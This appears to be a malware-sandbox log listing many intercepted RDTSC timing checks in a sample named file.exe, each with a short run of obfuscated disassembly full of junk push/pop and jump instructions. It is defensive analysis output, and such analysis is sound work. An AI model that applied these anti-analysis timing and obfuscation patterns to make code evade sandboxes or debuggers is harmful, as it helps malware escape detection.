Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1045082 second address: 10450AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACCBE48D0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F9ACCBE48CEh 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10450AB second address: 10450B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10450B1 second address: 10450BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10450BA second address: 10450BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047257 second address: 104725B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104725B second address: 104727E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C373h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d jl 00007F9ACD05C372h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104727E second address: 1047284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046DC1 second address: 1046DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046DCD second address: 1046DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046DD3 second address: 1046DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACD05C36Eh 0x00000009 popad 0x0000000a push eax 0x0000000b jg 00007F9ACD05C366h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046DEF second address: 1046DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046DF4 second address: 1046DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F9ACD05C366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046DFE second address: 1046E02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046F4E second address: 1046F6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C379h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046F6F second address: 1046F75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1046F75 second address: 1046F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D802 second address: 105D806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D806 second address: 105D814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D814 second address: 105D81A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CBB8 second address: 105CBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CE55 second address: 105CE63 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9ACCBE48C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CE63 second address: 105CE67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CE67 second address: 105CE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105CE6D second address: 105CE8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F9ACD05C377h 0x0000000f jmp 00007F9ACD05C371h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D192 second address: 105D1E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007F9ACCBE48C6h 0x00000010 jmp 00007F9ACCBE48CDh 0x00000015 jmp 00007F9ACCBE48D3h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F9ACCBE48D4h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D1E1 second address: 105D1E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D1E5 second address: 105D1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D4E7 second address: 105D4ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D4ED second address: 105D509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9ACCBE48D4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10617EE second address: 10617F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1061D27 second address: 1061D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9ACCBE48CBh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10636B3 second address: 10636B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10636B7 second address: 10636BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10636BD second address: 10636C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10636C3 second address: 10636D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CFh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10636D8 second address: 10636DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40370 second address: 4D40376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40376 second address: 4D403CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C36Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F9ACD05C372h 0x00000015 mov bx, ax 0x00000018 popad 0x00000019 pushfd 0x0000001a jmp 00007F9ACD05C36Eh 0x0000001f and ax, C7D8h 0x00000024 jmp 00007F9ACD05C36Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov ecx, dword ptr [ebp+08h] 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D403CB second address: 4D403E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9ACCBE48D1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60657 second address: 4D6067D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 mov ecx, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F9ACD05C373h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6067D second address: 4D60681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60681 second address: 4D60685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60685 second address: 4D6068B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6068B second address: 4D606CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 09B0F17Fh 0x00000008 push ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ecx 0x0000000e jmp 00007F9ACD05C36Eh 0x00000013 push eax 0x00000014 jmp 00007F9ACD05C36Bh 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9ACD05C375h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D606CB second address: 4D606D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D606D1 second address: 4D606D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D606D5 second address: 4D6071B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F9ACCBE48D4h 0x00000013 add ecx, 5CBBD958h 0x00000019 jmp 00007F9ACCBE48CBh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6071B second address: 4D6071F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6071F second address: 4D60738 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F9ACCBE48CBh 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60738 second address: 4D6073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6073E second address: 4D60743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60743 second address: 4D60749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60749 second address: 4D6074D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6074D second address: 4D6078E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b jmp 00007F9ACD05C372h 0x00000010 nop 0x00000011 jmp 00007F9ACD05C370h 0x00000016 push eax 0x00000017 jmp 00007F9ACD05C36Bh 0x0000001c nop 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6078E second address: 4D60792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60792 second address: 4D60798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60798 second address: 4D607A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D607A0 second address: 4D607B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push dword ptr [ebp+08h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movzx ecx, bx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D607B0 second address: 4D607BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6002C second address: 4D60032 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60032 second address: 4D60036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60036 second address: 4D60045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60045 second address: 4D6004A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6004A second address: 4D60084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, F6h 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov al, dh 0x0000000f pushfd 0x00000010 jmp 00007F9ACD05C378h 0x00000015 adc cx, 7B38h 0x0000001a jmp 00007F9ACD05C36Bh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60084 second address: 4D6008A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6008A second address: 4D6008E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6008E second address: 4D600C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F9ACCBE48D6h 0x00000012 push FFFFFFFEh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov al, dl 0x00000019 mov edx, esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D600C1 second address: 4D60114 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9ACD05C36Ch 0x00000009 add ax, 7728h 0x0000000e jmp 00007F9ACD05C36Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push 45118BCFh 0x0000001c pushad 0x0000001d movsx edx, ax 0x00000020 mov cx, FDEDh 0x00000024 popad 0x00000025 add dword ptr [esp], 31B61279h 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov edi, 2CD8A988h 0x00000034 jmp 00007F9ACD05C371h 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60114 second address: 4D6011A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6011A second address: 4D6011E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6011E second address: 4D60166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F9ACCBE48C9h 0x0000000d pushad 0x0000000e movzx ecx, dx 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F9ACCBE48CAh 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c jmp 00007F9ACCBE48CBh 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9ACCBE48D4h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60166 second address: 4D60178 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACD05C36Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60178 second address: 4D6019C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9ACCBE48CBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6019C second address: 4D601A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D601A2 second address: 4D601A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D601A9 second address: 4D601FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jmp 00007F9ACD05C36Ch 0x0000000d mov eax, dword ptr fs:[00000000h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F9ACD05C36Eh 0x0000001a add eax, 4279F568h 0x00000020 jmp 00007F9ACD05C36Bh 0x00000025 popfd 0x00000026 popad 0x00000027 push ebx 0x00000028 pushad 0x00000029 jmp 00007F9ACD05C370h 0x0000002e push eax 0x0000002f push edx 0x00000030 mov edi, esi 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D601FC second address: 4D6023B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F9ACCBE48D6h 0x0000000f sub esp, 18h 0x00000012 pushad 0x00000013 mov al, 82h 0x00000015 mov ax, dx 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b jmp 00007F9ACCBE48D0h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6023B second address: 4D60241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6034C second address: 4D60376 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9ACCBE48CCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60376 second address: 4D603B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, cx 0x00000006 mov si, 20C9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007F9ACD05C374h 0x00000013 push eax 0x00000014 jmp 00007F9ACD05C36Bh 0x00000019 nop 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9ACD05C370h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D603B9 second address: 4D603BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D603BD second address: 4D603C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D603C3 second address: 4D603D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACCBE48CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D603D4 second address: 4D6047B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACD05C371h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-10h] 0x0000000e pushad 0x0000000f call 00007F9ACD05C36Ch 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 pushfd 0x00000018 jmp 00007F9ACD05C371h 0x0000001d or esi, 546BB176h 0x00000023 jmp 00007F9ACD05C371h 0x00000028 popfd 0x00000029 popad 0x0000002a mov dword ptr fs:[00000000h], eax 0x00000030 pushad 0x00000031 jmp 00007F9ACD05C36Ch 0x00000036 push esi 0x00000037 mov bx, 1C44h 0x0000003b pop edi 0x0000003c popad 0x0000003d mov dword ptr [ebp-18h], esp 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F9ACD05C375h 0x00000049 add ax, C436h 0x0000004e jmp 00007F9ACD05C371h 0x00000053 popfd 0x00000054 mov ax, 5427h 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6047B second address: 4D604A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f pushad 0x00000010 mov ebx, 7DFCC16Eh 0x00000015 popad 0x00000016 mov ecx, dword ptr [eax+00000FDCh] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604A5 second address: 4D604A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604A9 second address: 4D604B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604B7 second address: 4D604C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9ACD05C36Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D604C9 second address: 4D604F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9ACCBE48CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9ACCBE48D5h 0x00000014 rdtsc
